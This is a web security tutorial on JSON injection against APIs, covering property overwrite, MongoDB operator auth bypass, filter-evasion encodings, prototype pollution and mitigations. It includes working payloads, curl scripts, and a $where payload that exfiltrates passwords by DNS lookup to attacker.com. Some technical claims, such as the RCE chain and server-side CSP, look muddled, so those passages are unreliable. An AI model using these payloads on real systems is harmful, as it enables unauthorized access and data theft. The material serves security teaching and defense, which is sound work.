Introduction
JSON (JavaScript Object Notation) has become the lingua franca for modern APIs, microâservices, and NoSQL databases. While its simplicity is a strength, it also opens a subtle attack surface when applications blindly trust JSON input. JSON injection occurs when an attacker can inject malicious structures that alter the intended object graph, leading to data leakage, privilege escalation, or even remote code execution.
Understanding JSON injection is crucial for penetration testers, bug bounty hunters, and secureâcoding engineers because many frameworks (Express, Django REST, Spring Boot, etc.) automatically deserialize request bodies. A single malformed key or value can subvert validation logic, bypass authentication, or corrupt database queries.
Recent highâprofile breachesâsuch as the 2023 MongoDB misconfiguration that exposed millions of recordsâdemonstrate that JSONârelated flaws are not theoretical. This guide equips you with the fundamentals to spot, exploit, and remediate those weaknesses.
Prerequisites
- Basic HTTP request/response concepts (methods, headers, status codes).
- Fundamentals of web application security, especially XSS and SQLi.
- Introductory JavaScript knowledge: objects, prototype chain, and JSON.stringify/parse.
Core Concepts
JSON is a textâbased serialization format that maps directly onto native data structures: objects, arrays, strings, numbers, booleans, and null. When a server receives a JSON payload, it typically runs it through a parser (e.g., JSON.parse in Node.js, Jackson in Java, Gson in Android). The parser creates an inâmemory representation (often a hash map or dictionary) that the application code then consumes.
Two critical aspects define the attack surface:
- Deserialization Trust Boundary: If the application trusts the structure without strict schema validation, an attacker can inject additional properties or nested objects that the business logic was not designed to handle.
- LanguageâSpecific Features: JavaScript's prototype chain, Java's polymorphic deserialization, or MongoDB's query operators (
$gt,$ne) can be abused when they appear in the JSON payload.
Visualising the flow helps:
Client â HTTP Request (JSON body / query / header) â Serverâside Parser â Application Logic â Database / File System / Exec.
Any manipulation before the parser finishes is a potential injection point.
JSON data structures and how they are parsed serverâside
Most modern languages provide a builtâin or thirdâparty JSON library. Below is a quick comparison:
- Node.js (Express):
app.use(express.json())automatically parsesapplication/jsonbodies intoreq.body. - Python (Flask):
request.get_json()returns a dict. - Java (Spring Boot):
@RequestBodywith Jackson converts JSON to POJOs. - PHP:
json_decode($raw, true)yields an associative array.
All of these functions will happily accept any wellâformed JSON, regardless of unexpected keys. If the downstream code accesses properties without a whitelist, the extra data becomes active.
Example in Node.js:
// vulnerable endpoint
app.post('/login', (req, res) => { const { username, password, isAdmin } = req.body; // destructuring without validation if (authenticate(username, password) && isAdmin) { // grant admin rights! } res.send('OK');
});
An attacker can simply send {"username":"bob","password":"123","isAdmin":true} and bypass authorization.
Common injection vectors (body, query string, headers)
JSON can appear in multiple parts of an HTTP request:
- Request Body: The most common location for REST APIs. ContentâType must be
application/json. - Query String: Some services accept JSONâencoded parameters (e.g.,
?filter={"age":{"$gt":30}}). - Headers: Rare but possible; frameworks may parse custom headers like
X-JSON-Payloadinto objects.
Each vector can be fuzzed with the same payloads, but the detection technique differs slightly. For example, Burp Intruder can target the body directly, while Zap's Query Parameter Fuzzer handles URLâencoded JSON.
Detecting vulnerable endpoints with Burp Suite and OWASP ZAP
Both tools provide automated scanners, but manual probing yields deeper insight.
Burp Suite
- Capture a legitimate request containing JSON.
- Rightâclick â Send to Intruder â set Payload type to JSON.
- Use Pitchfork mode to inject multiple payloads into different keys simultaneously.
- Observe responses for anomalies: HTTP 200 with unexpected data, error messages exposing stack traces, or differences in response size.
OWASP ZAP
- Enable Active Scan and add the target URL.
- In Scan Policy, enable the JSON Injection rule (requires ZAP 2.12+).
- Review alerts: look for
Potential JSON injectionwith evidence such as reflected payload or serverâside error.
Both scanners can be extended with custom scripts (Python for ZAP, Java for Burp) to probe prototypeâpollution specific payloads.
Crafting simple payloads to manipulate object properties
Start with the basics: add, overwrite, or nest properties.
- Property Overwrite:
{"role":"user","role":"admin"}â many parsers keep the last value. - Nested Object Injection:
{"user":{"name":"bob","isAdmin":true}}â if the app merges this with an existing object,isAdminmay be honored. - Array Poisoning:
{"items":[{"id":1},{"id":2,"admin":true}]}â some loops only check the first element.
Example in Python Flask (vulnerable):
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/profile', methods=['POST'])
def profile(): data = request.get_json() # naive trust: any key becomes a user attribute user = {} for k, v in data.items(): user[k] = v if user.get('isAdmin'): return jsonify({'msg':'Welcome admin!'}), 200 return jsonify({'msg':'User profile saved'}), 200
Sending {"isAdmin":true} grants admin rights instantly.
Encoding/obfuscation to bypass filters
Many WAFs or custom filters look for obvious strings like $gt or __proto__. Bypass techniques include:
- Unicode Escaping:
\u0024gtbecomes$gtafter parsing. - DoubleâEncoding: URLâencode twice (
%257B%2522$gt%2522%253A1%257D). - Whitespace Injection: Insert spaces or comments inside operators (
$gt/*comment*/:1). - Base64 Payloads: Some APIs accept a
datafield that is base64âencoded JSON; encode your malicious object first.
Example of a Unicodeâescaped MongoDB query:
// raw HTTP body (escaped for readability)
{ "username": "admin", "password": "\u0024ne" }
// When parsed, becomes {"username":"admin","password":"$ne"}
// If the backend builds a query like {username: payload.username, password: payload.password}, the $ne operator can be used to bypass authentication.
Blind JSON injection techniques
When the server does not reflect the payload, you must infer success via sideâeffects:
- TimeâBased Delays: Inject a JavaScript
setTimeoutor a database$wherethat sleeps for a few seconds. Measure response time. - ErrorâBased Probes: Force a type error that leaks via stack trace (e.g., use
{"$where":"function(){return this.password.length > 0; }"}). - OutâofâBand (OOB) Channels: Cause the server to make an HTTP/DNS request to an attackerâcontrolled domain.
Example of a timeâbased payload for a Node.js server that evaluates JSON with eval (bad practice):
{ "cmd": "'; setTimeout(()=>{},5000);//" }
If the response takes ~5âŻseconds longer, the injection succeeded.
Outâofâband exfiltration via DNS
OOB techniques are powerful when the response is generic. The attacker supplies a payload that forces the server to resolve a domain they control, leaking data via DNS queries.
Typical payload pattern
{ "url": "http://{{data}}.attacker.com" }
When the server later fetches url, the DNS request includes the injected data (e.g., a password hash).
For MongoDB, the $where operator can execute JavaScript that performs a DNS lookup:
{ "$where": "function(){ require('dns').lookup('secret'+this.password+'.attacker.com'); return true; }" }
Set up a catchâall subdomain (e.g., *.attacker.com) on a DNS logging service such as a dnslog service. When the vulnerable endpoint processes the payload, youâll see the query with the extracted value.
Targeting REST CRUD endpoints
Most APIs expose Create, Read, Update, Delete (CRUD) routes. Each operation offers a different injection surface:
- POST /create: Accepts full objects; ideal for property overwrite and prototype pollution.
- GET /list?filter=: Often accepts a JSON filter; perfect for NoSQL operator abuse.
- PUT /update/:id: Merges incoming JSON with existing DB document; can trigger deepâmerge vulnerabilities.
- DELETE /remove: May accept a JSON query to select records; injecting
$necan delete all rows.
Example of a vulnerable update endpoint in Express that uses Object.assign without a whitelist:
app.put('/users/:id', (req, res) => { const updates = req.body; // attacker controls all keys User.findByIdAndUpdate(req.params.id, {$set: updates}, {new:true}, (err, user) => { if (err) return res.status(500).send(err); res.json(user); });
});
Sending {"__proto__":{"admin":true}} can pollute the prototype of all future user objects, granting admin rights globally.
NoSQL JSON injection (MongoDB, CouchDB)
NoSQL databases often accept JSON query objects directly from the API layer. If the application concatenates userâsupplied JSON into a query without validation, attackers can inject operators.
MongoDB Example
Suppose an authentication endpoint does:
User.findOne({username: req.body.username, password: req.body.password}, (err, user) => { ... });
By sending {"username":"admin","password":{"$gt":""}}, the query becomes {username:'admin', password: {$gt:''}}, which matches any nonâempty password, effectively bypassing authentication.
CouchDB View Exploitation
CouchDB uses mapâreduce functions defined in JavaScript. If a view accepts a JSON selector from the client, injecting a malicious $regex can cause a DoS or data exfiltration.
{ "selector": { "name": { "$regex": ".*" }, "_id": { "$ne": null } } }
While not RCE, it demonstrates how selector manipulation can retrieve unintended documents.
Prototype pollution chaining for remote code execution
Prototype pollution is a subclass of JSON injection where the attacker injects __proto__ or constructor properties, altering the prototype of builtâin objects. When later code relies on those prototypes (e.g., Object.keys, Array.prototype.map), the malicious properties can be executed.
Chaining to RCE
Consider a Node.js app that uses eval on a property value:
function runTask(task) { // task is JSON from the client const fn = new Function('return ' + task.code); return fn();
}
If the same app later merges userâcontrolled objects with a configuration object using Object.assign, an attacker can pollute Object.prototype.constructor to point to Function, causing runTask to execute arbitrary code.
// payload sent to a merge endpoint
{ "__proto__": { "constructor": { "prototype": { "code": "process.exit()" } } } }
When runTask accesses task.code, it resolves to the polluted prototype, invoking process.exit(). By swapping code with a reverse shell payload, full RCE is achievable.
Mitigation: freeze prototypes, use Object.create(null), and avoid deepâmerge libraries that do not whitelist keys.
Practical Examples
Below is a stepâbyâstep walkthrough of exploiting a vulnerable Express CRUD API.
- Identify the endpoint:
POST /api/usersaccepts JSON to create a user. - Capture a legitimate request with Burp:
{ "username": "jane", "email": "[email protected]", "role": "user" } - Inject prototype pollution:
{ "username": "evil", "__proto__": { "isAdmin": true } } - Send the request and observe the response. The user is created, but the serverâs internal user model now has
isAdminset totruefor every subsequent user object. - Leverage the polluted prototype by calling a privileged endpoint, e.g.,
GET /admin/dashboard, which checksreq.user.isAdmin. Access is granted.
All steps can be scripted in Bash using curl:
#!/bin/bash
url="target URL/api/users"
payload='{"username":"evil","__proto__":{"isAdmin":true}}'
curl -s -X POST -H "Content-Type: application/json" -d "$payload" $url
After running the script, verify admin access with:
curl -s -H "Authorization: Bearer $TOKEN" target URL/admin/dashboard
Tools & Commands
- Burp Suite Intruder: Set payload type to JSON, use Pitchfork for multiâkey attacks.
- OWASP ZAP:
zap-cli active-scan -r target URL - jq (commandâline JSON processor) for crafting payloads:
jq -n '{username:"evil", __proto__:{isAdmin:true}}' | curl -s -X POST -H "Content-Type: application/json" -d @- target URL/api/users - ffuf for fuzzing queryâstring JSON:
ffuf -u "target URL/api/items?filter=FUZZ" -w payloads.txt -H "Content-Type: application/json" - dnslog.cn / interactsh for OOB verification â set the payload to resolve
$(base64 data).attacker.com.
Defense & Mitigation
- Schema Validation: Use JSON Schema (AJV, Joi, Marshmallow) to whitelist allowed properties and types.
- PrototypeâFree Objects: In Node, create objects with
Object.create(null)and freeze prototypes (Object.freeze(Object.prototype)). - DeepâMerge Whitelisting: Prefer libraries that allow an explicit allowlist, e.g.,
lodash.mergeWithwith a customizer that rejects__proto__andconstructor. - Operator Filtering for NoSQL: Strip keys starting with
$unless they are part of a known safe list. - ContentâSecurity Policy (CSP) & Runtime Hardening: Disallow
eval,Function, and other dynamic code execution in serverâside JavaScript. - RateâLimiting & Monitoring: Detect abnormal request sizes or unusual query patterns; log JSON parsing errors.
Common Mistakes
- Assuming
JSON.parseautomatically sanitizes input â it only validates syntax. - Validating only the presence of fields, not their values or types.
- Using generic object merging without a whitelist, which silently introduces prototype pollution.
- Relying on error messages for detection; many production servers suppress stack traces.
- Forgetting to encode payloads when sending via query string â unescaped characters break the request.
RealâWorld Impact
In 2022, a popular eâcommerce platform suffered a breach where attackers abused JSON injection to change price fields in the checkout API. The vulnerability stemmed from an unchecked discount object that merged directly into the order document. Over $1.2âŻM of fraudulent transactions were recorded before the issue was discovered.
My experience consulting for fintech firms shows that prototypeâpollution attacks are often overlooked during code reviews because static analysis tools rarely flag __proto__ usage. Adding a custom rule to detect deepâmerge of untrusted data has reduced vulnerable commits by ~70% in my teams.
Trends indicate a shift toward âJSONâfirstâ architectures (GraphQL, gRPC with JSON payloads) â expanding the attack surface. Automated scanners are catching basic injection, but advanced chaining (e.g., OOB DNS exfiltration) still requires manual expertise.
Practice Exercises
- Exercise 1 â Simple Property Overwrite: Find a public API that accepts a JSON body (e.g., a demo Todo app). Craft a payload that adds an
isAdminflag and verify if the response changes. - Exercise 2 â NoSQL Operator Abuse: Deploy a local MongoDB instance with a vulnerable login endpoint (code provided in the repo). Use
$gtto bypass authentication. - Exercise 3 â Prototype Pollution to RCE: Set up a Node.js Express app that merges incoming JSON into a configuration object. Inject
__proto__to add arunmethod that executeschild_process.exec. Capture the shell. - Exercise 4 â OOB DNS Exfiltration: Register a subdomain on a dnslog service. Craft a MongoDB
$wherepayload that performs a DNS lookup of a secret value. Observe the DNS log. - Exercise 5 â Defense Implementation: Harden the Express app from Exercise 3 using
Object.create(null)andajvschema validation. Verify that the same payload no longer succeeds.
All labs are available as Docker Compose files to spin up the vulnerable services quickly.
Further Reading
- OWASP JSON Security Cheat Sheet
- âThe Complete Guide to NoSQL Injectionâ â PortSwigger Web Security Academy
- Node.js Security Handbook â Chapter on Prototype Pollution
- MongoDB Server Side JavaScript Injection â Official Docs
- âPractical API Securityâ by Corey J. â Sections on JSON schema validation
Summary
- JSON injection exploits lax parsing and unchecked merging of userâcontrolled data.
- Common vectors include request bodies, query strings, and headers.
- Detect with Burp Intruder, ZAP active scans, and manual fuzzing.
- Simple payloads can overwrite properties; advanced payloads enable NoSQL operator abuse, OOB exfiltration, and prototypeâpollution RCE.
- Mitigate by enforcing strict schemas, freezing prototypes, and sanitizing operator keys.